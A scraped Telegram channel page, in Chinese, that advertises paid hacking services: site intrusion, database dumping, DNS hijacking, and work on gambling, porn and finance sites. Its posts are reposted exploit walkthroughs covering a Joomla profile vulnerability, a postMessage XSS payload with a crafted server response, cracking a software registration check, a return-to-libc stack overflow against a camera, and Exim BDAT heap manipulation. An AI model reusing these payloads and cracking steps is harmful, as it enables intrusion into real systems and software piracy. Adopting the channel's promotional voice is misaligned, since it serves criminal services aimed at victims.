黑客渗透 金融劫持 BC域名跳转
17.6K subscribers
1.8K photos
19 videos
2 files
162 links
金融股民渗透国内app,海外网站app,入侵后台,脱裤数据库, dns劫持 服务器进入等等
破解网站app软件技术等等 黑客技术咨询
@hacker_HouZiM
Download Telegram
首先我们得知在会员修改资料处 admin_style 参数产生的漏洞,先来分析一下数据存储的情况

上面复现抓包时候可以看到URL:/joomla/administrator/index.php?option=com_admin&view=profile&layout=edit&id=5
最后找到代码文件:/administrator/components/com_admin/controllers/profile.php
public function save($key = null, $urlVar = null)

{

    $this->setRedirect(JRoute::_('index.php?option=com_admin&view=profile&layout=edit&id=' . JFactory::getUser()->id, false));

    $return = parent::save();//这行代码看上去非常像是保存数据的地方。我们追这个代码在哪。

    if ($this->getTask() != 'apply')

    {

        // Redirect to the main page.

        $this->setRedirect(JRoute::_('index.php', false));

    }

    return $return;

}

最后发现第五行代码调用是在:/libraries/src/MVC/Controller/FormController.php文件处
$data = $this->input->post->get('jform', array(), 'array'); 这里是获取POST请求的数据。在代码上打印下。看下是不是真的在这。
可以看到下图,的确是打印出来。由此可以猜测这个地方是正确的获取数据处。
然后接下来的部分代码都是在处理这些参数,所以都省略了。
继续看到 !$model->save($validData),这里将一些处理好的数据传到了 $model->save() 中,跟下这方法后发现代码在:/administrator/components/com_admin/models/profile.php 处
最后追踪发现在 /libraries/joomla/database/driver.php 的 updateObject 方法将数据插入进了数据库

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
在这里我们控制这个k变量,可以看到它随后作为参数传递给下面的函数:
function d(a) {
var b = document.createElement("div");
b.innerHTML = a;
var c = b.getElementsByClassName("h5");
c.length && c[0].classList.remove("h5"), g = b.innerHTML
}

这意味着我们可以通过在受我们控制的网站上托管恶意 JavaScript 有效载荷来构造漏洞利用程序。该有效载荷会打开一个指向受害者网站的窗口并保留该窗口对象。然后,该 JavaScript 有效载荷会使用postMessage()窗口对象上的方法,并发送如下 JSON 有效载荷:
{name: "receiveGmailIk", baseUrl: "https://test.xpnsec.com/mail/1", content: "<iframe src='javascript:alert(document.domain)'></iframe>", preview: 1, ik: "9", user: {email: "xpnsec@protonmail.com", name: "adam chester"}

最后,我们需要设置一个 HTTPS 服务器来监听发送到baseUrl参数(在本例中为https://test.xpnsec.com)的请求,并提供以下 JSON 响应:
)]}'

1548
[["ms","1","",4,"xpn sec \u003cxpnsec@protonmail.com\u003e","XPN","xpnsec@protonmail.com",1,"Test",["^all","^f","^i","^iim","^io_im","^io_lr","^o"],0,1,"Test",["1",["XPN Security \u003cxpnsec@protonmail.com\u003e"],[],[],[],"Test","",[[],[0],"",[],[]],0,[[],[["me","xpnsec@protonmail.com"]],[],[],[],[]],"",null,0,1,0,0,1,"",null,"","","Test","",null,[0],null,[],null,0,[0],1,null,null,[],null,0,0,0,0,0,null,null,[],null,6,-1,null,0,null,1,null,null,null,0,null,[],null,[],null,[],0,0,null,[]],null,0,"01:29","01:29",0,null,null,"",["en"],0,"",[],null,null,null,0,null,null,null,0,1,"","xpnsec@protonmail.com",[[],[["me","xpnsec@protonmail.com"]],[],[],[],[]],-1,null,null,null,"gmail.com",null,[],[],0,"",null,null,null,null,null,null,null,null,null,null,null,1,null,0,1],["ce"],["ak","","cv","query",""]]


渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
1
首先我们看到“脑图”。我现在按照”脑图“的分析思路。从第一个思路开始分析一下。 可以看到输入注册码那个窗口,我们随便输入一个内容后点确定。
可以看到,从确定按钮的点击事件中,所触发的这个弹窗。我们针对该点击事件去找下具体代码。在Form1-》Button1_Click方法以下代码:



从第七行开始看。可以看到获取的TextBox1控件的内容并赋值给text。然后到第8行去判断 this.RegCodeeque(text)返回值 是否等于20。并且将结果赋值给flag。如果等于则为true,如果不等于则为false
重要的内容从第9行开始,我们来分析下写的什么意思。可以很明显的看出来这里写的是,如果flagtrue的话则将text内容就是输入的注册码内容写进注册表内。然后提示注册成功,窗口结束。如果flagfalse的话,则提示注册码错误。很明显,我们刚刚为false,所以走进了注册码错误。接下来我们瞄准到this.RegCodeeque(text)这个函数中。
进入这个函数可以得知该函数的返回值为int型。看到上面验证代码 bool flag = this.RegCodeeque(text) == 20;可以看到返回函数返回值是否等于20。我们需要让这个程序的返回值为20,从而直接到注册成功。所以中间代码。不管他。直接看图中的代码。
最后如果算出来注册码为正确的话才返回20,否则话就返回0。所以我们可以选择尝试直接改result改成:return 20; 或者 重新把result赋值一遍。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
每次运行“辅助工具”都会弹出这个注册窗。那么在“辅助工具”初始化的时候肯定做了判断,所以才会反复进入注册窗口。于是我们找到CHECKLOAD-》CheckReg处。
可以看到返回值也是int类型。
可以看到。每次运行“辅助工具”都会弹出无申请码这个提示。
所以我们可以确定就是这个函数做了初始化验证功能。
现在开始阅读一下代码。看看这些代码到底做了什么操作。接下来的代码一些操作流程。我都会以注释形式写在以下代码中。
首先按照我们上面代码的分析思路。
我们CB5文件的申请码改成我们自己的先。然后运行试试。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
strncpy() 函数引起的栈溢出,在利用时就会有很 egg hurt 的 0x00 坏字符问题,如果我们的输入数据中包含 0x00,将会被截断导致漏洞利用失败。根据溢出点附近的汇编代码来看,0x0a 也会被截断。且开启了 NX 保护,这意味着我们无法在栈上部署 shellcode

尝试通过 return2libc 的方式 getshell。由于没有实际的摄像头,我们不知道目标系统是否开启了 ASLR ,如果 ASLR 是开启的且没有其它可用来暴露 libC 动态链接库内存地址的漏洞,那么利用该漏洞将会是一个很难受的过程。
采用以下方式暂时关闭 ASLR
echo 0 > /proc/sys/kernel/randomize_va_space

libC 库的加载地址如下
接下来就需要精心构造数据,劫持函数的执行流程了。有一点需要注意,X86 架构下的所有参数都是通过堆栈传递的,而在 MIPS 和 ARM 架构中,会优先通过寄存器传递参数,如果参数个数超过了寄存器的数量,则将剩下的参数压入调用参数空间(即堆栈)。
从前面的分析来看,只要我们构造 0x38 - 4 字节以上的数据,栈底的函数返回地址就会被我们劫持。system() 函数地址 = libC 库在内存中的加载基址 + system() 函数在 libC 库中的偏移,通过劫持该地址为 libC 库中的 system() 函数地址,再设置 R0 寄存器指向命令字符串,就可以执行任意命令。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM
1
首先,当有新连接进来的时候,fork一个子进程,然后进入上面代码中的那个分支,smtp_setup_msg函数是用来接收命令的函数,我们先发一堆无效的命令过去(padding),控制yield_length的值小于0x100,目的上一篇文章说过了,因为命令无效,流程再一次进入了smtp_setup_msg
这时候我们发送一个命令BDAT 16356
然后有几个比较重要的操作:
5085       if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1)
5093 chunking_data_left = chunking_datasize;
5100 lwr_receive_getc = receive_getc;
5101 lwr_receive_getbuf = receive_getbuf;
5102 lwr_receive_ungetc = receive_ungetc;
5104 receive_getc = bdat_getc;
5105 receive_ungetc = bdat_ungetc;

首先是把输入的16356赋值给chunking_data_left
然后把receive_getc换成bdat_getc函数
再做完这些的操作后,进入了receive_msg函数,按照上篇文章的流程差不多,显示申请了一个0x100的heap1
然后进入receive_getc=bdat_getc读取数据:
534 int
535 bdat_getc(unsigned lim)
536 {
......
546 if (chunking_data_left > 0)
547 return lwr_receive_getc(chunking_data_left--);

lwr_receive_getc=smtp_getc通过该函数获取16356个字符串
首先,我们发送16352个a作为padding,然后执行了下面这流程:
storeextend return 0 -> storeget -> store_release
先申请了一个0x4010的heap2,然后释放了长度为0x2010的heap1
然后发送:\r\n,进入下面的代码分支:
1902   if (ch == '\r')
1903 {
1904 ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
1905 if (ch == '\n')
1906 {
1907 if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = TRUE;
1908 goto EOL;
1909 }

跳到了EOL,最重要的是最后几行代码:
2215   header_size = 256;
2216 next = store_get(sizeof(header_line));
2217 next->text = store_get(header_size);
2218 ptr = 0;
2219 had_zero = 0;
2220 prevlines_length = 0;
2221 } /* Continue, starting to read the next header */

把一些变量重新进行了初始化,因为之前因为padding执行了store_get(0x4000),所以这个时候yield_length=0 这个时候再次调用store_get将会申请一个0x2000大小堆,从unsortbin中发现heap1大小正好合适,所以这个时候得到的就是heap1,在heap1的顶上有一个之前next->text使用,大小0x4010,未释放的堆。

渗透爬虫软件 资源采集 劫持域名 提取抓料子 六合·色站·彩票·博彩·金融 接渗透拿站,各大网站数据-拖库-提权联系 域名劫持 DNS 入侵网站 联系:@hacker_HouZiM